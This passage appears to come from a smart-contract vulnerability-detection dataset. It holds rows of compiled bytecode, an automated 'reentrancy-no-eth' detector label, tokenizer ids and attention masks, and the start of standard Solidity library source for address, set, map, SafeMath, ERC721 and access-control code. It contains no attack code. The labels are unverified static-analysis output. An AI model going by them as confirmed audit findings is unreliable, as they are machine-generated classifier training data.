000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122c65780820151818401526020810190506122ab565b50505050905090810190601f1680156122f35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161230d57fe5b049050809150509392505050565b606061232a8484600085612333565b90509392505050565b60608247101561238e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806125f26026913960400191505060405180910390fd5b61239785611e7a565b612409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106124595780518252602082019150602081019050602083039250612436565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146124bb576040519150601f19603f3d011682016040523d82523d6000602084013e6124c0565b606091505b50915091506124d08282866124dc565b92505050949350505050565b606083156124ec578290506125a1565b6000835111156124ff5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561256657808201518184015260208101905061254b565b50505050905090810190601f1680156125935780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373506c656173652075736520796f757220696e646976696475616c206163636f756e742e416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220319fb444680b2c5b3115416f746a9a26839be3308a5e363f7328bf7ded8e11f564736f6c63430007020033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2620,
2509,
2050,
2575,
2546,
2581,
11057,
11057,
26976,
2278,
18139,
2497,
22907,
23632,
29097,
2692,
19841,
17465,
2683,
2063,
19317,
2620,
22932,
23777,
2629,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1014,
1025,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,563 | 0x9558d5d258866f814e7a4190262a9255f5acdcd9 | pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transfered from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from`, `to` cannot be zero.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from`, `to` cannot be zero.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from`, `to` cannot be zero.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
abstract contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a {IERC721-safeTransferFrom}. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public virtual returns (bytes4);
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, msg.sender), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, msg.sender), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == msg.sender, "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
